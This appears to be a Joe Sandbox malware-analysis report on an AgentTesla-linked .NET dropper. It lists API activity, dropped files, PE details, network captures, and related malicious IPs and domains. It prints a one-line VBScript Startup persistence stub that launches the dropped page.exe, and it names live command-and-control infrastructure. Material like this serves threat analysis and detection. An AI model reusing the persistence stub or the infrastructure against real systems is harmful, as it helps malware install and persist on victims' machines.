Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:21:11	API Interceptor	19x Sleep call for process: 58955, ZN25888A #U2013 drawing.pif.exe modified
07:21:28	API Interceptor	16x Sleep call for process: powershell.exe modified
07:21:33	API Interceptor	348x Sleep call for process: InstallUtil.exe modified
07:21:43	API Interceptor	16x Sleep call for process: page.exe modified
12:21:34	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
173.252.167.60	Debit note -MSR_2024_0024- and Attachments.com.exe	Get hash	malicious	AgentTesla	Browse	hlag.cc/panel/uploads/Xplpg.dat
	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	hlag.cc/panel/uploads/Cugntwk.vdf
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	hlag.cc/panel/uploads/Lpgwaqvxp.dat
	OP53532 Harumi new order.scr.exe	Get hash	malicious	AgentTesla	Browse	hlag.cc/panel/uploads/Otecu.pdf
46.175.148.58	Debit note -MSR_2024_0024- and Attachments.com.exe	Get hash	malicious	AgentTesla	Browse
	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse
	invnoIL438805.exe	Get hash	malicious	AgentTesla	Browse
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse
	A6AHI7Uk18.exe	Get hash	malicious	AgentTesla	Browse
	MyzWeEOlqb.exe	Get hash	malicious	AgentTesla	Browse
	5hD3Yjf7xD.exe	Get hash	malicious	AgentTesla	Browse
	xJZHVgxQul.exe	Get hash	malicious	AgentTesla	Browse
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.iaa-airferight.com	Debit note -MSR_2024_0024- and Attachments.com.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	invnoIL438805.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	A6AHI7Uk18.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	MyzWeEOlqb.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	5hD3Yjf7xD.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	xJZHVgxQul.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
hlag.cc	Debit note -MSR_2024_0024- and Attachments.com.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60
	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	173.252.167.60
	OP53532 Harumi new order.scr.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASLAGIDKOM-NETUA	Debit note -MSR_2024_0024- and Attachments.com.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	invnoIL438805.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	A6AHI7Uk18.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	MyzWeEOlqb.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	5hD3Yjf7xD.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	xJZHVgxQul.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
SRS-6-Z-7381US	Debit note -MSR_2024_0024- and Attachments.com.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60
	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60
	elitebotnet.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	216.183.115.7
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	173.252.167.60
	OP53532 Harumi new order.scr.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60
	2.elf	Get hash	malicious	Unknown	Browse	69.164.100.195
	DEMONS.x86.elf	Get hash	malicious	Unknown	Browse	67.217.246.240
	http://tubnzy3uvz.top/1.php?s=527	Get hash	malicious	Unknown	Browse	67.217.228.118
	http://poubnxu3jubz.top/1.php	Get hash	malicious	Unknown	Browse	67.217.228.118
	http://poubnxu3jubz.top/1.php	Get hash	malicious	Unknown	Browse	67.217.228.118

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379401388151058
Encrypted:	false
SSDEEP:	48:fWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//MPUyus:fLHxvIIwLgZ2KRHWLOugss
MD5:	25321E5EF46D4B6586B432EDE14CDFB7
SHA1:	7B04466E0869735444E88F5F99045A021E104D5B
SHA-256:	D01CD798290DF4649DC4747E1130281BCB90400C1BABA2727D819D2626CCE70B
SHA-512:	4C5A5AEBCCF0426B10C11CAC0E2B935030FE539EF3582BC6AE4CCF052A9A7C6C35F3B8409123F59BDC7F0C35ABB9B433A4FAFFA50F856197A0B4712C8283BD40
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02zu22vn.grn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dte4fr4y.2vl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luy1liyb.dcq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0t4x13d.xsg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

Download File

Process:	C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	78
Entropy (8bit):	4.647599578325654
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoqLTVSREaKC5NdkHn:FER/lFHIqLTwiaZ5PO
MD5:	74A73CB3D0C61EBA34CA825C0ED5F520
SHA1:	1560A8E185133FD6517E628DFD39104DB53DD847
SHA-256:	5813152AD0C3ECCA59CE2FEDE6B67AEAF7AED5F4AB9C3B565296DD8F95A887E7
SHA-512:	9BBA5A54686F50BD99DF6D37CAC42146AF5F208ABF5D1B5805E160358E96016B45E4FBFA4710D318F1C0570F5E093310007FA24C547C2F3F1E7E9F5AA143A3CA
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\page.exe"""

C:\Users\user\AppData\Roaming\page.exe

Download File

Process:	C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196096
Entropy (8bit):	6.063223624600437
Encrypted:	false
SSDEEP:	3072:dWLvT0l29/IeB3ug5Nk8ETNtAaiH6vuX/2etM5ji+WgEgKU3XsFov94:SvpB3ug5NXUqR6WyjiT9238y
MD5:	BA27BFA68B1196840BE542CF4DC7178B
SHA1:	7E25B41D515894BFB8F0707E2F22FB33451301CA
SHA-256:	BFF8313CF041D37F04D9BDC05DCFEBD6BD46682DEE3052F756E6489F856A34A1
SHA-512:	6EC3F1EAE2FD8CD46C172EAED0BD8339595C50CABC7A4164DD88DCB660C9494E7DA184592446C3A7199E1B74285BCAD6A558125B890DB472D392BEC2865202F4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.g............................^.... ........@.. .......................`............`.....................................W.... .......................@....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................@.......H............7..............h............................................0..........(......(......0..........(....u......-.(.....o.......(....-..o....o....-..o....(...+o.....+A..(......o....-,.....(..... j...(....o....(....(...+o....&....&....(....-...........o...........M.6.........C.N........0.............s....%o.... ....(.... ....(....o....% $...(....s....o....o.....o.... ....(....(..... {...(....(.....s.......o......o.....o........io.........,..o.....&.c.....*......

C:\Users\user\AppData\Roaming\page.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.063223624600437
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	58955, ZN25888A #U2013 drawing.pif.exe
File size:	196'096 bytes
MD5:	ba27bfa68b1196840be542cf4dc7178b
SHA1:	7e25b41d515894bfb8f0707e2f22fb33451301ca
SHA256:	bff8313cf041d37f04d9bdc05dcfebd6bd46682dee3052f756e6489f856a34a1
SHA512:	6ec3f1eae2fd8cd46c172eaed0bd8339595c50cabc7a4164dd88dcb660c9494e7da184592446c3a7199e1b74285bcad6a558125b890db472d392bec2865202f4
SSDEEP:	3072:dWLvT0l29/IeB3ug5Nk8ETNtAaiH6vuX/2etM5ji+WgEgKU3XsFov94:SvpB3ug5NXUqR6WyjiT9238y
TLSH:	DF142A253798C62ACBFE03B9E4D306084FB8C15BA397DB4A5D9494F91C43746D86E0EB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.g............................^.... ........@.. .......................`............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x43125e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x678766D5 [Wed Jan 15 07:42:13 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x31204	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x32000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x34000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2f264	0x2f400	988a1c1055735ea2083950805d1dee81	False	0.4724547371031746	data	6.08681745157416	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x32000	0x600	0x600	f7cd2522032f73a75979974b6ec78471	False	0.4173177083333333	data	4.089285272864669	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x34000	0xc	0x200	224af26d2f7b1a7406d81b34be2cfe5a	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x320a0	0x31c	data			0.43090452261306533
RT_MANIFEST	0x323bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 13:21:12.655554056 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:12.660469055 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:12.660697937 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:12.661257029 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:12.666753054 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265240908 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265484095 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265496969 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265508890 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265536070 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265547037 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265562057 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265639067 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.265640020 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.265677929 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265691042 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265702963 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.265795946 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.265795946 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.270567894 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.270581961 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.270593882 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.271332026 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.353209972 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353226900 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353238106 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353249073 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353262901 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353385925 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.353599072 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353612900 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353621006 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353631020 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353646040 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.353712082 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.353712082 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.354554892 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.354566097 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.354583025 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.354595900 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.354609013 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.354615927 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.354700089 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.355441093 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.355473995 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.355485916 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.355511904 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.355525017 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.355557919 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.355557919 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.355557919 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.356494904 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.356507063 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.356522083 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.356579065 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.400178909 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.440718889 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.440740108 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.440753937 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.440794945 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.440809011 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.440820932 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.440866947 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.440866947 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.440866947 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.441096067 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441164017 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441175938 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441188097 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441200018 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441227913 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.441227913 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.441694975 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441706896 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441719055 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441775084 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441787004 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441797972 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441812038 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.441836119 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.441836119 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.441836119 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.442361116 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.442702055 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.442714930 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.442727089 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.442738056 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.442749977 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.442761898 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.442774057 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.442823887 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.442823887 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.443495989 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.443507910 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.443519115 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.443559885 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.443572998 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.443583965 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.443595886 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.443613052 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.443613052 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.443613052 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:13.444485903 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:13.444497108 CET	80	49747	173.252.167.60	192.168.2.9
